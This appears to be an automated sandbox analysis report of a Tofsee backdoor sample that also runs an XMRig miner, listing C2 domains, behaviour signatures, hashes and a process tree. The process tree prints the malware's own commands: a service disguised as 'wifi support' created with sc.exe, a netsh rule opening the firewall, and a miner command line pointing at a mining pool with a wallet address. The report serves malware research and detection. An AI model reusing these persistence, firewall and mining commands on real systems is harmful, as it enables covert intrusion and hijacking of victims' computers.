Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/12/2022, 18:13

General

  • Target
    file.exe
  • Size 214KB
  • Sample221216-wtql9sfb97
  • SHA256 616a2c49d5e2f30065d905767dca057c39b668b74c0022f7ab80688e3bf04a9b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ohdrzswi\
      2⤵
        PID:2412
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sliqhaur.exe" C:\Windows\SysWOW64\ohdrzswi\
        2⤵
          PID:1808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ohdrzswi binPath= "C:\Windows\SysWOW64\ohdrzswi\sliqhaur.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ohdrzswi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ohdrzswi
          2⤵
          • Launches sc.exe
          PID:2232
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1984
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2352 -s 796
          2⤵
          • Program crash
          PID:2244
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2352 -ip 2352
        1⤵
          PID:720
        • C:\Windows\SysWOW64\ohdrzswi\sliqhaur.exe
          C:\Windows\SysWOW64\ohdrzswi\sliqhaur.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2848
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1256
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3256
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2848 -s 508
            2⤵
            • Program crash
            PID:4888
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2848 -ip 2848
          1⤵
            PID:836

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                sliqhaur.exe

                • Path C:\Users\Admin\AppData\Local\Temp\sliqhaur.exe
                • Size 13.6MB
                • SHA256 985bdb724f678417ce27025f5b580f422e63f030535eae8077df75f21e38a237
                • MD5 SHA1 SHA512 SSDEEP

                sliqhaur.exe

                • Path C:\Windows\SysWOW64\ohdrzswi\sliqhaur.exe
                • Size 13.6MB
                • SHA256 985bdb724f678417ce27025f5b580f422e63f030535eae8077df75f21e38a237
                • MD5 SHA1 SHA512 SSDEEP

                memory/1256-159-0x00000000017E0000-0x00000000017F0000-memory.dmp

                memory/1256-165-0x0000000006F00000-0x000000000730B000-memory.dmp

                memory/1256-162-0x00000000017F0000-0x00000000017F5000-memory.dmp

                memory/1256-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/1256-152-0x0000000000150000-0x0000000000165000-memory.dmp

                memory/1256-146-0x0000000000150000-0x0000000000165000-memory.dmp

                memory/1256-151-0x0000000000150000-0x0000000000165000-memory.dmp

                memory/1256-156-0x00000000017D0000-0x00000000017D6000-memory.dmp

                memory/1256-168-0x00000000023D0000-0x00000000023D7000-memory.dmp

                memory/2352-134-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/2352-144-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/2352-133-0x0000000000460000-0x0000000000473000-memory.dmp

                memory/2352-143-0x00000000004A3000-0x00000000004B4000-memory.dmp

                memory/2352-132-0x00000000004A3000-0x00000000004B4000-memory.dmp

                memory/2848-150-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/2848-149-0x00000000006FE000-0x000000000070E000-memory.dmp

                memory/3256-172-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/3256-177-0x0000000000600000-0x00000000006F1000-memory.dmp